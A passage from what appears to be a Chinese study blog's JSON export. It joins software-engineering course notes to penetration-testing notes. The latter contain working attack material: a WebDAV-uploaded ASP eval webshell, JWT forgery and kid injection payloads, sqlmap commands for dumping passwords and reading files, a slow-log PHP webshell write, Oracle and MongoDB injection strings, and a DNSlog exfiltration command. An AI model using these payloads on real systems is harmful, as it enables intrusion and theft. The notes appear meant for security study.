coupling)\n\n一个模块往公共环境送数据,另一个模块从公共环境取数据。即允许一组模块访问同一全局性的数据结构\n\n\n内容耦合(content coupling)\n\n最高程度的耦合,有下列情况即内容耦合:\n\n一个模块访问另一个模块的内部数据\n\n一个模块不通过正常入口转到另一个模块的内部;如使用goto\n\n两个模块有一部分程序代码重叠\n\n一个模块有多个入口\n\n\n\n\n数据耦合传参\n控制耦合通过if语句\n特征耦合给一堆数据,只用一个\n公共环境耦合大家都用公共数据\n内容耦合,代码互相夹杂\n\n内聚度\n偶然内聚(coincidental cohesion)\n\n模块的各成分之间毫无关系;或发现一组语句在两处或多处出现,于是把这些语句作为一个模块以节省内存\n\n评价\n\n模块内各元素之间没有实质性联系,很可能在一种应用场合需要修改这个模块,在另一种应用场合又不允许这种修改,从而陷入困境\n可理解性差,可维护性产生退化\n模块是不可重用的\n\n逻辑内聚(logical cohesion)\n\n一个模块完成的任务在逻辑上属于相同或相似的一类\n\n评价\n\n接口难以理解,造成整体上不易理解\n完成多个操作的代码互相纠缠在一起,即使局部功能的修改有时也会影响全局,导致严重的维护问题\n难以重用\n\n解决方案\n\n模块分解\n\n时间内聚(temporal cohesion)\n\n模块包含的任务必须在同一段时间内执行\n\n评价\n\n时间关系在一定程度上反映了程序某些实质,所以时间内聚比逻辑内聚好一些\n模块内操作之间的关系很弱,与其他模块的操作却有很强的关联\n时间内聚的模块不太可能重用\n\n过程内聚(procedural cohesion)\n\n模块内的处理元素是相关的,而且必须以特定次序执行,特定次序是人为赋予的\n\n评价:\n\n比时间内聚好,至少操作之间是过程关联的\n仍是弱连接,不太可能重用模块\n\n通信内聚(communicational cohesion)\n\n模块中所有元素都使用同一个输入数据和(或)产生同一个输出数据,即在同一个数据结构上操作\n\n评价\n\n模块中各操作紧密相连,比过程内聚更好。\n不能重用\n\n解决方案\n\n分成多个模块,每个模块执行一个操作\n\n顺序内聚(sequential cohesion)\n\n模块的各个成分和同一个功能密切相关,而且这些处理必须顺序执行(一个成分的输出作为另一个成分的输入)\n\n功能内聚(functional cohesion)\n\n模块内所有处理元素(每个处理都是必不可少)属于一个整体,完成一个单一的功能\n\n评价\n\n模块可重用,应尽可能重用\n可隔离错误,维护更容易\n扩充产品功能时更容易\n\n顺序内聚,根据需求可有也可以拆\n通信内聚,对同一个数据结构做操作\n过程内聚,人为限定执行顺序\n时间内聚,同一时间段完成的没什么关系的多个任务\n逻辑内聚,逻辑控制语句来决定那部分操作。和控制耦合对应。一般进行拆模块\n偶然内聚,完全没关系,一般不用\n\n设计原则\nLiskov替换原则(LSP)\n\n任何基类可以出现的地方,子类一定可以出现\n另一种表达方式:子类不能添加任何基类没有的附加约束\n\n这些约束很可能造成使用者无法通过子类正常的使用针对基类的程序\n\n实际操作中,基类往往就是抽象类(行为没有任何实现),甚至是接口\n\n\n开放-封闭原则(OCP)\n\n软件中的对象(类,模块,函数等等)应该对于扩展是开放的,但是对于修改是封闭的。是最重要的,核心设计原则\n核心思想:是对抽象编程,因为抽象相对稳定\n\n\n单一职责原则(SRP)\n\n一个类被改变的原因不能超过一个,也就是说一个类只有一个职责\n\n\n接口隔离原则(ISP)\n\n客户端不应该依赖它不需要的接口;一个类对另一个类的依赖应该建立在最小的接口上\n\n\n依赖倒置原则(DIP)\n\n高层模块不应该依赖低层模块,二者都应该依赖其抽象;抽象不应该依赖细节,细节应该依赖抽象\n高层将服务声明写入抽象层中,底层根据所能实现的服务,就和按个抽象层发生关联。这样割断了高层和底层之间的直接依赖关系,抽象成为整个系统中最稳定的部分\n\n组合/聚合原则:尽量多用聚合方式,少用泛化关系\n架构设计\n软件架构\n一系列相关的抽象,用于指导大型软件系统各方面的设计,是一个系统的草图\n\n主机结构:一台主机多个终端\nC/S(客户机/服务器)\nB/S(浏览器/服务器):演化出多层架构,都是基于MVC模式\nSOA:面向服务的结构\n云架构\n\n\n\n小型图书资料管理系统-架构设计\nBo,存放各种业务处理类和实体类的操作\nPo,存放各种实体类,只含set和get方法,用来创建对象,不对其做任何操作,在使用时传出\nDb,处理和数据库打交道的方法\nDTO,从Db类获取的数据,封装成对象,交给DTO,将来返回给控制层\n定义架构后,开始的概要设计包括:\n\n问题域子系统的设计(PDC)(重点)\n面向对象设计仅需从实现角度对问题域模型做一些补充或修改,主要是增添、合并或分解类与对象、属性及服务,调整继承关系等等。(基于使用的框架、设计原则和设计模式)\n结果表现形式:实现阶段的对象模型——类图\n辅助以相关文档,描述每个类的职责,类的属性,类的服务(服务的参数,服务的功能)\n\n人机交互部分的设计(HIC)(重点)\n是OOD模型的外围组成部分\n确定人机交互的细节,其中包括指定窗口和报表的形式、设计命令层次等项内容\n\n数据部分的设计(DMC)\n\n\n边界类用于描述外部参与者与系统之间的交互\n\n用户界面类:用户和系统进行通信\n\n系统接口类:该系统和其他软件系统进行通信\n\n设备接口类:对硬件设备使用,如各类驱动程序\n\n\n如何标识边界类?\n每一对“用例—参与者”之间确定一个边界类\n问题域模型设计对问题与结构,从实现角度做一些补充或修改,主要是增添、合并或分解类与对象、属性和服务,调整继承关系等\n\n“血”指的是domain object的model层内容\n\n\n失血模型\n\ndomain object只有属性的get set方法的纯数据类,所有的业务逻辑完全由Service层来完成的,由于没有DAO,Service直接操作数据库,进行数据持久化\n\n贫血模型\n\ndomain ojbect包含了不依赖于持久化的原子领域逻辑,而组合逻辑在Service层(常见)\n\n充血模型\n\n绝大多业务逻辑都应该被放在domain object里面,包括持久化逻辑,而Service层是很薄的一层,仅仅封装事务和少量逻辑,不和DAO层打交道\n\n贫血模型和充血模型的差别在于,领域模型是否要依赖持久层,贫血模型是不依赖的,而充血模型是依赖的\n\n\n胀血模型\n\n取消了Service层,只剩下domain object和DAO两层,在domain object的domain logic上面封装事务\n控制类协调边界类和实体类\n\n每个用例都对应有一个控制类\n一个控制类可以对应多个用例\n\n数据部分的设计(DMC)将类的属性映射成表的一个字段\n\n特殊情况:\n并不是类中的所有属性均是永久的。例如,发票中的“合计”属性可由计算所得而不需保存在数据库中,此时该类属性(称为派生属性)不映射\n一般地,类中的属性是单值的,但如果在类中存在多值属性,则该属性映射成多个字段\n\n\n关系到数据库的映射方法\n\n\n一对一关联\n\n两个实体分别映射两张表,两张表主键一样(或一个主键作为另一个的外码)\n\n\n一对多关联\n\n一的主键作为多的外键\n\n\n组合与聚合\n\n一的主键作为多的外键\n\n\n自身关联\n\n自身关联映射到一张表,然后定义一个父节点属性就可以表示\n\n泛化关系:将父子类关系映射为一张表,以父类id作为主键,通过类型字段区分子类,将父子类中其他属性值分别加入表中。实现从类到表的映射\n​\t缺点:里面的字段值可能为空。对空字段进行拆分。\n\n整个类层次映射为单个数据库表\n每个具体子类映射成单个数据库表\n每个类均映射为数据库表\n\n四、详细设计\n模块接口:类接口输入输出数据\n\n类的详细描述,内含数据、方法及方法的参数返回值\n\n算法描述:对模块的实现算法设计并表述\n\n流程图\n\n判定表\n当算法中包含多重嵌套的条件选择时,判定表能够清晰地表示复杂的条件组合与应做的动作之间的对应关系\n适合:单一条件只有两种结果供选择\n由4部分组成:\n\n左上部列出所有条件\n\n左下部是所有可能做的动作\n\n右上部是表示各种条件组合的一个矩阵\n\n右下部是和每种条件组合相对应的动作\n\n\n\n\n\n\n数据描述:局部数据结构\n\n\n模块在运行过程中数据的输入、输出、存储和处理情况,以及模块内部对象之间的关联和交互\n\neg.假设某航空公司规定,乘客可以免费托运重量不超过30kg的行李。\n当行李重量超过30kg时,对头等舱的国内乘客超重部分每公斤收费4元,对其他舱的国内乘客超重部分每公斤收费6元。\n对外国乘客超重部分每公斤收费比国内乘客多一倍,对残疾乘客超重部分每公斤收费比正常乘客少一半。\n\n\n五、软件项目的测试测试方案\n包括\n\n具体的测试目的(例如,预定要测试的具体功能)\n应该输入的测试数据\n预期的结果\n通常又把测试数据和预期的输出结果称为测试用例\n\n\n白盒测试适用于对单一模块测试内部结构是否和详细设计相同\n逻辑覆盖法\n语句覆盖\n\n选择足够的测试用例,使得程序中每一条可执行语句至少被执行一次\n特点:\n语句覆盖对程序的逻辑覆盖很少\n语句覆盖不能走过所有支路\n语句覆盖是很弱的逻辑覆盖标准\n\n判定覆盖\n\n不仅每个语句必须至少执行一次,而且每个判定的每种可能的结果都应该至少执行一次\n\n既然语句覆盖对逻辑不作判定,则增加内容扩充为判定覆盖\n\n\n条件覆盖\n\n不仅每个语句至少执行一次,判定表达式中的每个条件都取到各种可能的结果\n特点:\n条件覆盖通常比判定覆盖强,因为它使每个条件都取到了两个不同的结果,判定覆盖却只关心整个判定表达式的值。判定覆盖不一定包含条件覆盖,条件覆盖也不一定包含判定覆盖\n\n判定/条件覆盖\n\n使得判定表达式中的每个条件都取到各种可能的值,每个判定表达式也都取到各种可能的结果\n\n条件组合覆盖\n\n使得每个判定表达式中条件的各种可能组合都至少出现一次\n特点:\n条件组合覆盖是前述几种覆盖标准中最强的\n满足条件组合覆盖标准的测试数据,也一定满足判定覆盖、条件覆盖和判定/条件覆盖标准\n但是,条件组合覆盖标准的测试数据并不一定能使程序中的每条路径都执行到\n\n路径覆盖(了解即可)\n\n使得程序中的所有可能路径都至少被执行一次\n\n总结:\n\n语句覆盖发现错误能力最弱\n\n判定覆盖包含了语句覆盖,但它可能会使一些条件得不到测试\n\n条件覆盖对每一条件进行单独检查,一般情况它的检错能力较判定覆盖强,但有时达不到判定覆盖的要求\n\n判定/条件覆盖包含了判定覆盖和条件覆盖的要求,但实际上不一定达到条件覆盖的标准\n\n条件组合覆盖发现错误能力较强,凡满足其标准的测试用例,也必然满足前 4 种覆盖标准\n\n\n以上五种覆盖方法,基本上是依次增强的(除少数如:条件覆盖和判定覆盖)。随覆盖级别的提高,所需设计的测试用例数量也急剧增加,开销数量级的加大\n\n黑盒测试等价类法在输入数据中选择一些有代表性的数据进行测试\n\n等价类:功能相同或作用相同的一类数据\n\n\n有效等价类\n\n尽可能多地覆盖尚未被覆盖的有效等价类\n\n无效等价类\n\n使它覆盖一个而且只覆盖一个尚未被覆盖的无效等价类\n边界值分析法一个用例尽量覆盖多的有效边界\n一个用例只能覆盖一个无效边界\n\n边界值:指输入等价类和输出等价类边界上的数据\n\n\n划分等价类\n找等价类的边界\n\n软件测试\n单元测试\n\n驱动程序:接收测试数据,传递给被测试的模块,并且印出有关的结果\n存根程序:代替被测试的模块所调用的模块\n\n集成测试\n\n集成测试更多用于测试各模块之间的接口是否正确\n\n\n功能性测试:使用黑盒测试技术针对被测模块的接口规格说明进行测试\n\n非渐增式测试方法:先分别测试每个模块,再把所有模块按设计要求放在一起\n\n看似省了步骤,但是由于其复杂性导致不可操作\n\n\n渐增式测试方法:把下个要测试的模块同已测试好的模块结合起来测试\n\n自顶向下\n深度优先:先组装在软件结构的一条主控制通路上的所有模块(先深后宽)\n宽度优先:沿软件结构水平地移动,把处于同一个控制层次上的所有模块组装起来(先宽后深)\n\n\n自底向上\n\n\n\n\n非功能性测试:对模块的性能或可靠性进行测试\n\n\n\n回归测试\n重新执行已经做过的测试的某个子集。以保证上述这些变化没有带来非预期的副作用\n\n确认测试(系统测试)\n检查软件能否按合同要求进行工作\n\n确认测试偏向于整个大系统是否正确完成\n\n\n验收测试(交付测试)\n\n内部测试(Alpha测试)\n第三方测试(Beta测试)\n\n\n\n七、软件项目管理WBS工作分解结构\n工作分解任务是以列来进行的:\n\n第一列系统\n\n第二列分配角色\n\n第三列当前角色具有的功能模块\n\n第四列该功能模块具体需要完成什么样的任务\n\n\n使用此方式把一个项目,按一定的原则进行分解,项目分解成任务,任务再分解成一项项工作,再把一项项工作分解到每个人的日常活动中,直到分解不下去为止\nGantt图\nGanttProject\n","tags":["summary"]},{"title":"06Web攻防","url":"/2024/04/14/06Web%E6%94%BB%E9%98%B2/","content":"ASP\nASP环境搭建组合:Windows+IIS+ASP+Access(SQLserver)\n\nAccess数据库一般后缀名asp asa(前两个被解析)mdb(下载)\nmdb文件在网站目录下\n\n数据库配置:./database/***.mdb\n后台:./admin/admin_login.asp\n\n==思路==:如果知道数据库地址,可尝试获取数据库文件,获取当前管理员账号密码信息\n\nIIS-短文件&解析&写权限\n\nASP-中间件-IIS短文件名探针-安全漏洞\nIIS shortname Scanner\n\nASP-中间件-IIS文件上传解析-安全漏洞\n*.asp:.jpg*.asp/1.jpg(*.asp的目录里有1.jpg)下文具体解释\n\nASP-中间件-IIS配置目录读写-安全配置\n网站配置中勾选了写入,同时Web服务拓展中的WebDAV开启,此时出现写入漏洞\nIISPutScanner\n\n\n\n\nIIS6.0解析漏洞\nIIS版本\n\nWindows Server 2003→IIS 6.0\nWindows7→IIS7.0和IIS7.5\nWindows Server 2008 SP2→IIS7.0\nWindows Server 2008 R2→IIS7.5\nWindowsXP和Windows Server 2000→IIS5.0\n\n\n漏洞原理\n如上\n\n上传原理\nWebDAV基于HTTP1.1协议的通信协议使得HTTP支持PUT、MOVE、COPY和DELLTE方法\n验证:\n抓包时更改GET为OPTIONS,观察到返回包的Public里有多个方法,说明存在漏洞\n\n上传TXT文件\nPUT请求\n<% eval request("a")%>\n\n通过COPY重命名\nCOPY/1.txt HTTP1.1Host:127.0.0.1Destination:http://www.xxx.com/cmd.asp;.txt#将1.txt重命名为cmd.asp;.txt\n\n删除文件\nDELETE\n\n\nASPX\n.NET环境搭建组合:Windows+IIS+ASPX+SQLserver\n\n.NET配置调试-信息泄露\nILSpy反编译\ndnSpy\n\n.NET项目-Web.config错误调试-信息泄露\n<customErrors mode="Off"</customErrors><!-- 自定义错误,三种状态"Off"、"On"、"RemoteOnly"-->\n\n\n.NET常见安全问题-未授权访问\n\n找没有包含验证代码的文件\n验证代码文件有没有可以绕过\n\n\n\nPHP详见《PHP特性.md》\nPHP-Audit-Labs\nApache HTTPD解析漏洞\n漏洞原理\n\n服务器解析某些精心构造的后缀文件时,会将其解析成网页脚本\nApache HTTPD是一款HTTP服务器,其2.1.0~2.4.29版本存在解析漏洞,解析PHP时,1.php\\x0A将按照.php进行解析\n上传一个1.php文件\n<?php phpinfo();?>\n\n抓包时在文件名后加个空格,然后在hex里修改20为0a,放包后成功\nJava详见《Java安全》\nsecscan-authcheck\nWebGoat\nwebgoat白盒审计+漏洞测试\n\n通过目录遍历传shell至可执行的文件夹\n\n身份验证逻辑\n\n\n问题有很多选项:s1:你叫什么名字?张三s2:你的出生地?出生地s3...数据库中没有s3、s4即s3=null s4=mull此时传入s3= & s4= 发送数据正确\n\n\n安全验证:固定接收的数据:s0、s1\n不固定:s0、s1判断数据→正常\n​\t\ts2、s3不在数据库或者变量内→非法\n\n\nJWT:JSON Web令牌(JWT)验证用户的身份\n\nJWT原理及常见攻击方式\n\n判定网站是否采用JWT验证;\n数据包中Cookie可明确看到JWT特有的字符串格式:三部分,以点为间格\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c\n\nJWT解密\n\n绕过:\n\n空加密算法\n\n在header中指定alg为None\n若某天开发人员在生产环境中开启了空加密算法,缺少签名算法,jwt保证信息不被篡改的功能就失效了。攻击者只需要把alg字段设置为None,就可以在payload中构造身份信息,伪造用户身份。\n\n修改RSA加密算法为HMAC\n\nJWT中最常用的两种算法为HMAC和RSA\n\n在HMAC和RSA算法中,都是使用私钥对signature字段进行签名,只有拿到了加密时使用的私钥,才有可能伪造token。\n\n假设一个Web应用,在JWT传输过程中使用RSA算法,密钥pem对JWT token进行签名,公钥pub对签名进行验证。\n{ "alg" : "RS256", "typ" : "jwt"}\n\n通常情况下密钥pem是无法获取到的,但是公钥pub却可以很容易通过某些途径读取到,这时,将JWT的加密算法修改为HMAC,即\n{ "alg" : "HS256", "typ" : "jwt"}\n\n同时使用获取到的公钥pub作为算法的密钥,对token进行签名,发送到服务器端。\n服务器端会将RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。\n\n爆破密钥\n\nc-jwt-cracker\n\n前提:\n\n知悉JWT使用的加密算法\n一段有效的、已签名的token\n签名用的密钥不复杂(弱密钥)\n\n\n\n修改KID参数\nkid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥\n{ "alg" : "HS256", "typ" : "jwt", "kid" : "/home/jwt/.ssh/pem"}\n\n因为该参数可以由用户输入,所以也可能造成一些安全问题。\n\n任意文件读取\nkid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。\n{ "alg" : "HS256", "typ" : "jwt", "kid" : "/etc/passwd"}\n\nSQL注入\nkid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证\n{ ``"alg"` `: ``"HS256"``, ``"typ"` `: ``"jwt"``, ``"kid"` `: ``"key11111111' || union select 'secretkey' -- "}\n\n命令注入\n对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。\n"/path/to/key_file|whoami"\n\n对于其他的语言,例如php,如果代码中使用的是exec或者是system来读取密钥文件,那么同样也可以造成命令注入,当然这个可能性就比较小了。\n\n\n\n修改JKU/X5U参数\n\n\nJKU的全称是”JSON Web Key Set URL”,用于指定一组用于验证令牌的密钥的URL。类似于kid,JKU也可以由用户指定输入数据,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。\nX5U则以URI的形式数允许攻击者指定用于验证令牌的公钥证书或证书链,与JKU的攻击利用方式类似。\n\n信息泄露\n\nJWT保证的是数据传输过程中的完整性而不是机密性。\n由于payload是使用base64url编码的,所以相当于明文传输,如果在payload中携带了敏感信息(如存放密钥对的文件路径),单独对payload部分进行base64url解码,就可以读取到payload中携带的信息。\n\nbase64url加密是先做base64加密,然后再将-替代+及_替代/。\n\n\n访问控制\n\n隐藏属性:前端页面的自卫限制显示\n源码中已经暴露的id值、等级之类的编号,可尝试修改值测试是否可以切换到另外用户查看信息\n\n水平越权:同一级别用户权限的查看\n\n\n\n反序列化:后续讲\n\n\nJavaScriptVulhub\nVulnhub\nJavaScript开发的Web应用和PHP、Java、.NET等区别在于即没有源代码,也可以通过浏览器的查看源代码获取真实代码(相当于JS开发的Web应用属于白盒测试(默认有源码参考))\n\n如何判定JS开发应用?\n\n源代码简短\n引入多个js文件\n一般有/static/js/app.js等顺序的js文件\ncookie中有connect.sid\n\n如何获取更多的js文件?\n\nJSFinder\nPacker-Fuzzer\n扫描器后缀替换字典\n\n如何快速获取价值代码?\n\nmethod:”get”\nhttp.get(“\nmethod:”post”\nhttp.post(“\n$.ajax\nservice.httppost\nservice.httpget\nPython\nPython文件反编译\nPython-Web-SSTI\nSSTI模板注入利用分析\n\n\n识别Python网站中间件:Werkzeug\npyc反编译1\npyc反编译2\nuncompyle2\n\nSSTI\n\n服务端接收用户恶意输入后未经任何处理就将其作为Web应用模板内容的部分。模板引擎在进行目标编译渲染的过程中执行了用户插入的可以破坏模板的语句,因为可能导致了敏感信息泄露\nrender_template_string()\nSSTI可能会出现的相关的地方\n\n","tags":["小迪"]},{"title":"07通用-SQL注入","url":"/2024/04/14/07%E9%80%9A%E7%94%A8-SQL%E6%B3%A8%E5%85%A5/","content":"SQLmap\n不支持NoSQL、Redis\n\n-u "<网址>"#指定网址--data "<具体的数据>"#POST方式提交数据(--data "page=1&id=2")--cookie "<具体的数据>"#cookie注入,注意用;分开(--cookies=”ID=465169; security=low”)--purge#清除缓存--privileges#查看权限--is-dba#是否是数据库管理员--dbs#获取数据库名--tables#获取数据库下的表,常搭配-D使用-D "<数据库名>"#指定数据库-T "<表名>"#指定表名--dump -C "<列名>,<列名>"#指定列名-r <数据包文件>#以数据包形式进行注入(解决特定范围)------执行命令--os#指定系统--os-cmd=id#执行系统命令--os-shell#系统交互shell--file-read/write#读/写文件-sql-shell#执行指定sql命令-reg-read#读取win系统注册表------脚本--tamper=<脚本名称>举例:base64encode.pyunmagicquotes.py(宽字节)详情参考https://www.cnblogs.com/bmjoker/p/9326258.html的#建议\n\n\n数据包中在注入的地方加入*号\n\nSQLmap中文手册\nSQLmap使用参数\n简单的注入流程:\n\n读取数据库版本,当前用户,当前数据库\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 -f -b --current-user --current-db -v 1\n\n\n判断当前数据库用户权限(高权限才能进行文件的读取、命令执行等其他功能)\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --privileges -U 用户名 -v 1sqlmap.py -u http://www.xxx.com/test/php?p=2 --is-dba -U 用户名 -v 1\n\n\n读取所有数据库用户或指定数据库用户的密码\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --users --passwords -v 2sqlmap.py -u http://www.xxx.com/test/php?p=2 --passwords -U root -v 2\n\n\n获取所有数据库\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --dbs -v 2\n\n\n获取指定数据库中的所有表\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --tables -D mysql -v 2\n\n\n获取指定数据库名中指定表的字段\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --columns -D mysql -T users -v 2\n\n\n获取指定数据库命中指定表中指定字段的数据\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2\n\n\nfile-read读取web文件\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --file-read "/etc/password" -v 2\n\n\nfile-write写入文件到web\n\nsqlmap.py -u http://www.xxx.com/test/php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试\n\nSQL注入为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行\nMySQL两种思路:\n\n非root的注入攻击:常规类的猜解\nroot用户的注入攻击:文件读写操作,跨库查询注入等\n\nMySQL5.0以上版本:自带的数据库名:information_schema\n\ninformation_schema库中的:\nschemata表会记录所有的数据库名(chehema_name)\ntables表会记录所有的表名(table_name)\ncolumns表会记录所有的列名(column_name)\n\n获取相关数据:\n\n数据库版本-看是否符合information_schema查询-version()\n数据库用户-看是否符合root型注入攻击-user()\n当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os()\n数据库名字-为后期猜解指定数据库下的表、列做准备-database()\n\n\nMySQL配置中的secure-file-priv:限制读取/写入的文件\n\nLinux下:/etc/my.cnf\n\n突破:注入中需要支持SQL执行环境,没有就需要借助PHPmyadmin或能够直接连上对方数据库进行绕过\nset global slow_query_log=1;set global slow_log_file='shell路径'select '<?php eval($_GET[A])?>' or SLEEP(11);\n\n\n因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。\n时间默认超过多少的称为慢查询日志?\n一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:\nshow global variables like '%long_query_time%'\n\nMSSQLSQLRecon网络侦查与后渗透测试工具\norder by 4and 1=2 union all select null,null,null,null@@version--获取版本信息db_name()--当前数据库名字user、system_user、current_user、user_name--获取当前用户名@@SERVERNAME--获取服务器主机信息\n\nPostgreSQLPostgreSQL注入\norder by 4and 1=2 union select null,null,null,nullversion()--获取版本信息current_user--获取用户名current_database()--获取当前数据库名\n\nOracleOracle注入总结\n测回显:and 1=2 union select '1','2' from dual爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1)from dual模糊爆库:and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual爆列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual爆其他列名:and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME'))from dual爆数据:and 1=2 union select user_name,user_pwd from "sns_users"爆其他数据:and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu' and user_name<>'mozhe'\n\nMongoDBMongoDB查询文档\n(Python),以墨者为例\n<?php$db = $mongo->mozhe_cms_Authority;$id = $_GET['id'];$query = "var data = db.notice.findOne({'id':'$id'});return data;";$obj = $db->execute($query);<div class="body"><div class="title"><?php echo $obj['retval']['title'];?></div><div class="content"><?php echo $obj['retval']['content'];?></div>\n\n其中findOne({‘id’:’$id’}),故需先闭合再执行查询语句,即1'}) and …\n测回显:/new_list.php?id=1'});return ({title:1,content:'2爆库:/new_list.php?id=1'});return ({title:tojson(db.getCollectionNames()),content:'1爆字段:/new_list.php?id=1'});return ({title:tojson(db.Authority_confidential.find()[0]),content:'1---db.getCollectionNames()返回的是数组,需要用tojson转换为字符串db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据\n\n数据类型注入\n数字型\n\n$sql="select * from tablea where id = $i"\n\n\n字符型\n\n$sql="select * from tablea where id = '$i'"\n\n如果是字符串的话(比如有空格),不加单引号就出错\n\n搜索型\n\n$sql="select * from tablea where id like '%$i%'"\n\n使用%作为通配符\n\n加密型\n\n数据以加密的密文去发送\n\n格式型\n\n比如JSON\n<?phpif (isset($_POST['json'])) { $json_str = $_POST['json']; //{"username":"admin"} $json = json_decode($json_str);}$username = $json->username;$sql = "SELECT * FROM users WHERE username='{$username}'";\n\njson={"username":"admin'order by 4#"}\n\nQ:考虑的是闭合双引号,为什么要闭合单引号?\nA:JSON取得是键值,而不是双引号,代码中的{}是JSON的格式,即括号在这里不起作用,所以只需要考虑单引号\n宽字节注入\naddslashes()\n\n返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线(\\)与NULL(NULL字符)。\n当PHP指令magic_quotes_sybase被设置成on时,意味着插入'时将使用'进行转义。 \n\n此时利用宽字节(繁体字符、乱码的字符)来占用两个字节产生绕过\n提交方式注入<?phpheader("Content-Type:text/html;charset=utf-8");$get = $_GET['g'];$post = $_POST['p'];$cookie = $_COOKIE['c'];$request = $_REQUEST['r'];$host = $_SERVER['HTTP_HOST'];//当前访问URL地址$user_agent = $_SERVER["HTTP_USER_AGENT"];//浏览器地址信息$ip = $_SERVER["HTTP_X_FORWARDED_FOR"];//8.8.8.8echo $get . "<hr>";echo $post . "<hr>";echo $cookie . "<hr>";echo $request . "<hr>";echo $host . "<hr>";echo $user_agent . "<hr>";echo $ip;\n\n//Java Spring 不同框架,不同写法method=RequestMethod.GETmethod=RequestMethod.POSTrequest.getParameter("参数名");\n\n#Python Flask 不同框架,不同写法from flask import Flask, request, jsonifyimport requestsapp = Flask(__name__)requests.getrequests.postrequest.args.get(key)request.form.get(key)request.values.get(key)\n\n查询方式注入盲注就是在注入过程中,获取的数据不能回显至前端页面\n此时我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注\n盲注分为以下三类:\n基于布尔的SQL盲注——逻辑判断\nregexp,like,ascii,left,ord,mid\n基于时间的SQL盲注——延时判断\nif,sleep\n基于报错的SQL盲注——报错回显\nfloor,updatexml,extractvalue\n12种报错注入+万能语句\n\n参考:\nlike 'ro%' #判断ro或ro...是否成立regexp '^test[a-z]' #匹配test及test...等if(条件,5,0) #条件成立,返回5,反之返回0sleep(5) #SQL语句延时执行5秒mid(a,b,c) #从位置b开始,截取a字符串的c位substr(a,b,c) #从位置b开始,截取字符串a的c长度left(database(),1) #left(a,b)从左侧截取a的前b位length(database())=8 #判断数据库的database()名的长度ord=ascii ascii(x)=97 #判断x的ASCII码是否等于97\n\n基于延时:都不需要?id=1 and if(1=1,sleep(5),0)基于布尔:有数据库输出判断标准?id=1 and length(database())=7基于报错:有数据库报错处理来判断标准?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)\n\n复杂注入利用\n堆叠注入:根据数据库类型决定是否支持多条语句执行\n支持堆叠数据库类型:MySQL、MSSQL、PostSQL等\n\n我们是用mysql_query()接收的SQL语句,而mysql_query()它本身只能执行一句SQL语句,所以就会出错\n把mysql_query()换为mysql_multi_query()就可以执行多条SQL语句查询,但mysql_multi_query()的返回类型是布尔型\n\n堆叠注入详解\n[强网杯2019]随便注\n\n二次注入:应用功能逻辑设计上导致的先写入后组合的注入\n\n[网鼎杯2018]Unifinish\n\nDnslog注入:解决不回显(反向连接),SQL注入,命令执行,SSRF等\nhttp://www.dnslog.cn\nping %USERNAME%. <生成的链接>#%USERNAME%是获取本地计算机用户名\n\nhttps://github.com/BugScanTeam/DNSLog\nhttps://dig.pm/\nhttp://ceye.io\n\n绕过bypass等\n\n\n黑盒模式分析以上\n二次注入:插入后调用显示操作符合\n堆叠注入:判断注入后直接调多条执行\n\n偏移注入\n解决表名已知,列名未知的情况\nhttp://t.csdnimg.cn/Jzbb1\nhttps://www.cnblogs.com/xishaonian/p/6054320.html\nhttps://www.fujieace.com/penetration-test/access-offset-injection.html\n伪静态\n定义\n\n通常情况下,动态脚本的网站的url类似下面这样:\nhttp://www.test.com/news.php?id=1\n\n做了伪静态之后就成这样了:\nhttp://www.test.com/news/id/1.html\n\n\n判断\n\n浏览器控制台输入\njavascript:alert(document.lastModified)\n\n如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态\n\n因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。\n\n","tags":["小迪"]},{"title":"08通用-文件上传","url":"/2024/05/11/08%E9%80%9A%E7%94%A8-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/","content":"文件上传在已有文件上传知识上做的一些补充\nUpload-labs通关手册\n\n.htaccess文件\n\n或者”分布式配置文件“,全称是Hy